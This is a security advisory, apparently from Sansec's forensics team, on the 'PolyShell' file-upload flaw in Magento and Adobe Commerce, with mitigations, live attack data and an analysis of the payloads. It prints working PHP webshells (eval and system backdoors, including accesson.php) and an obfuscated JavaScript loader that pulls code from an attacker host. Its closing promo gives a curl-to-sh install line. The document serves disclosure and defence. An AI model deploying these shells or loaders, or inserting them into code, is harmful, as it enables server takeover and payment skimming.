Sansec logo

PolyShell: unrestricted file upload in Magento and Adobe Commerce

Sansec

by Sansec Forensics Team

Published in Threat Research − March 17, 2026

PolyShell lets attackers upload executable files to any Magento or Adobe Commerce store via the REST API. Sansec has now observed attacks on 79.5% of all stores. No official patch exists for production versions. Many stores run web server configurations that enable remote code execution (RCE) or account takeover (stored XSS).

PolyShell: unrestricted file upload in Magento and Adobe Commerce

A critical flaw in Magento's REST API lets unauthenticated attackers upload executable files to any store. We named the vulnerability "PolyShell" because the attack uses a polyglot (code disguised as image).

Update March 30th: A mass attack wave hit hundreds of stores in one hour, injecting JavaScript loaders from lanhd6549tdhse.top. Attackers have fully automated the PolyShell exploitation chain.

Update March 30th: Attackers are now deploying accesson.php backdoors and injecting obfuscated JavaScript that loads external malware from lanhd6549tdhse.top. See post-exploitation activity below.

Update March 24th: PolyShell has been used as the entry vector for a novel WebRTC-based payment skimmer found on a $100+ billion car maker.

Update March 23rd: Sansec has observed active exploitation since March 19th, with automated mass scanning accelerating rapidly. See live attack data below.

Versions affected by PolyShell

  • Unrestricted file upload — all Magento Open Source and Adobe Commerce versions up to 2.4.9-alpha2
  • Stored XSS — all versions pre-2.3.5 or custom webserver config
  • RCE via PHP upload — stock nginx 2.0.0–2.2.x (via index.php filename), any version with non-stock nginx passing all .php to fastcgi, Apache pre-2.3.5 without php_flag engine 0
  • Patched — 2.4.9-alpha3+ (pre-release only)

The vulnerable code has existed since the very first Magento 2 release. Adobe fixed it in the 2.4.9 pre-release branch as part of APSB25-94, but no isolated patch exists for current production versions. While Adobe provides a sample web server configuration that would largely limit the fallout, the majority of stores use a custom configuration from their hosting provider. Sansec investigated all known Magento and Adobe Commerce stores and found that many stores expose files in the upload directory.

Even when execution is blocked, the uploaded file stays on disk. A future configuration change, server migration, or web server swap could expose it.

How to protect against PolyShell

There is no official patch available for production Magento versions. Until Adobe releases one:

  1. Block attacks in real-time. Deploy Sansec Shield to block PolyShell exploitation attempts.
  2. Restrict access to the upload directory. Verify that your web server blocks all access to pub/media/custom_options/. For nginx, ensure a location block with deny all exists and is not overridden by a \.php$ regex match. For Apache, verify the .htaccess file is present and effective. NB. blocking access does not block uploads, so people will still be able to upload malicious code if you aren't using a specialized WAF.
  3. Scan for compromise. Run eComscan to detect uploaded webshells, backdoors, and other malware.

PolyShell technical analysis

Magento's REST API accepts file uploads as part of the cart item custom options. When a product option has type "file", Magento processes an embedded file_info object containing base64-encoded file data, a MIME type, and a filename. The file is written to pub/media/custom_options/quote/ on the server.

Three critical checks are missing:

  1. No option ID validation. The submitted option ID is never verified against the product's actual options.
  2. No option type gating. The file upload logic triggers regardless of whether the product actually has a file-type option.
  3. No file extension restriction. Extensions like .php, .phtml, and .phar are not blocked. The only validation is an image header check (getimagesizefromstring), which is trivially bypassed.

The most dangerous endpoints are the anonymous guest cart routes, however these are not the only vulnerable ones.

MethodEndpointAuth
POST/V1/guest-carts/:cartId/itemsNone
PUT/V1/guest-carts/:cartId/items/:itemIdNone

The guest cart routes make this exploitable without any credentials.

GraphQL mutations use a different code path and are not vulnerable.

Live PolyShell attacks

Sansec Shield has blocked PolyShell exploitation attempts against 79.5% of all protected Magento stores since March 16th. The first probing started on March 16 at 12:00 UTC and automated mass scanning kicked in on March 19th. Since March 23, Sansec has recorded more than 50 IPs probing for PolyShell attacks:

3.12.250.83
3.88.149.41
3.150.234.247
18.220.50.153
23.22.254.35
31.134.0.53
31.134.1.34
31.134.7.117
31.134.11.173
31.134.15.89
31.134.15.251
45.136.24.213
45.136.26.181
45.136.27.218
45.147.233.211
45.147.234.73
45.155.166.228
52.24.6.119
64.49.38.96
78.129.161.63
79.130.2.23
81.169.144.135
91.132.124.183
103.216.223.206
109.107.178.102
115.79.194.68
136.244.92.114
140.235.2.103
140.235.171.72
140.248.75.31
140.248.75.114
162.159.113.66
185.3.235.111
193.151.188.86
193.233.216.217
193.233.221.124
194.180.233.186
198.186.130.10
199.96.165.186
212.87.218.43
216.38.6.137
2001:19f0:6c01:15da:5400:6ff:fe05:e560

PolyShell payload analysis

Attackers upload polyglot files: valid GIF or PNG images that also contain executable PHP. Two distinct payload types are in active use.

PHP webshell with cookie authentication. The most common payload is a GIF89a polyglot dropped as index.php. It verifies the cookie d against a hardcoded MD5 hash and then accepts arbitrary code via eval(base64_decode()). The verification hash is a17028468cb2a870d460676d6d6da3ad63706778e3, derived from the cookie value. The shell also includes a file upload function triggered by $_POST["up"]:

GIF89a;<?php echo 409723*20;
if(md5($_COOKIE["d"])=="a17028468cb2a870d460676d6d6da3ad63706778e3"){
    echo "ok";
    eval(base64_decode($_REQUEST["id"]));
    if($_POST["up"]=="up"){
        @copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
    }
} ?>

Password-protected RCE shell. A second variant uses hash_equals() with the hardcoded MD5 hash 4009d3fa8132195a2dab4dfa3affc8d2 (double-MD5 of the password) and passes commands directly to system():

GIF89a <?php
if (!hash_equals('4009d3fa8132195a2dab4dfa3affc8d2', md5(md5($_REQUEST['pass'] ?? '')))) { exit; }
system($_REQUEST['cmd']); ?>

Filenames used in PolyShell attacks

Attackers are using a range of filenames to drop webshells. The most common pattern prepends the option ID to index.php (e.g. 780index.php). Other filenames observed in the wild:

index.php, json-shell.php, bypass.phtml, c.php, r.php, rce.php, static.php, test.php, blocked-json.php, bypass-async.php, urlencode-shell.php, xx_malicious_file.php, ato_poc.html, mikhail.html, accesson.php, toggige-arrow.jpg, adman.429.txt, adman.309.txt

Some attackers attempt Unicode obfuscation for the filename, such as \u0062\u0079\u0070\u0061\u0073\u0073.\u0070\u0068\u0070 (which decodes to bypass.php).

Post-exploitation: accesson.php backdoor

After gaining code execution through PolyShell, attackers deploy a secondary backdoor called accesson.php. Unlike the initial polyglot upload (which lands in pub/media/custom_options/), this backdoor is sprayed across multiple directories to maximize persistence. Sansec has observed accesson.php planted in all of these paths on a single compromised store:

var/assets/images/accesson.php
bamboo-specs/assets/images/accesson.php
lib/assets/images/accesson.php
app/assets/images/accesson.php
vendor/assets/images/accesson.php
pub/assets/images/accesson.php
bin/assets/images/accesson.php
setup/assets/images/accesson.php
generated/assets/images/accesson.php
phpserver/assets/images/accesson.php

The attackers create an assets/images/ subdirectory inside every top-level folder they can write to. Scattering copies ensures that at least one backdoor survives cleanup or redeployment.

The accesson.php backdoor is a variant of the cookie-authenticated webshell from the initial PolyShell payload, but without the GIF89a polyglot header:

<?php echo 409723*20;
if(md5($_COOKIE["d"])=="17028f487cb2a84607646da3ad3878ec"){
    echo "ok";
    eval(base64_decode($_REQUEST["id"]));
    if($_POST["up"]=="up"){
        @copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
    }
} ?>

The shell has three functions:

  1. Beacon. It always prints 8194460 (the result of 409723*20). Attackers use this as a fingerprint to locate live shells across thousands of compromised stores: a simple HTTP request reveals which paths are executable.
  2. Remote code execution. When the cookie d matches the hardcoded MD5 hash, the shell runs arbitrary PHP via eval(base64_decode($_REQUEST["id"])). This gives the attacker full control over the server.
  3. File upload. The up parameter copies an uploaded file to a path of the attacker's choice, enabling further malware deployment.

Post-exploitation: JavaScript malware loader

Sansec has found dozens of compromised stores with an obfuscated JavaScript loader injected into CMS pages or static blocks. The script uses localStorage as a persistence mechanism and loads an external malware payload from lanhd6549tdhse.top:

<script type="fdad6457a9ad0200cf989ad4-application/javascript">
(function(){
  var id='136c1e07507f4a97';
  var store=localStorage.getItem(id);
  if(store){
    var e=document.createElement('a');
    e.setAttribute('onclick',atob(store));
    e.click();
    localStorage.removeItem(id)
  }
}());
(function(){
  var d=document;
  var s=d.createElement('script');
  s.src=atob('aHR0cHM6Ly9sYW5oZDY1NDl0ZGhzZS50b3AvS1p0QnNjZ2I/')
    + '&se_referrer=' + encodeURIComponent(d.referrer)
    + '&default_keyword=' + encodeURIComponent(d.title)
    + '&' + window.location.search.replace('?','&')
    + '&frm=script';
  if(d.currentScript){
    d.currentScript.parentNode.insertBefore(s, d.currentScript);
  } else {
    d.getElementsByTagName('head')[0].appendChild(s);
  }
}());
</script>

The script has two stages. First, it checks localStorage for a previously stored payload (keyed by 136c1e07507f4a97) and executes it via a synthetic click handler. Second, it injects an external script from https://lanhd6549tdhse.top/KZtBscgb that fingerprints the visitor using referrer, page title, and query parameters.

If your store has been targeted by PolyShell, check for accesson.php files outside the usual upload directory and search your CMS content for references to lanhd6549tdhse.top, jslibrary.net, or canevaslab.com. A recursive search for the backdoor filename across the entire document root is the fastest way to find it:

find /var/www -name 'accesson.php' -type f

Timeline

DateEvent
2026-03-16Sansec adds PolyShell protection to Shield
2026-03-17Sansec adds detection patterns to eComscan
2026-03-17Sansec issues public warning
2026-03-19First PolyShell attacks observed in the wild
2026-03-23Mass scanning launched, 23% of protected stores targeted
2026-03-2456.7% of all stores have had malicious PHP code uploaded
2026-03-3079.5% of all stores targeted, accesson.php backdoor seen

Read more

Scan your store now
for malware & vulnerabilities

$ curl ecomscan.com | sh

eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.

Stay up to date with the latest eCommerce attacks

Sansec logo

experts in eCommerce security

Terms & Conditions
Privacy & Cookie Policy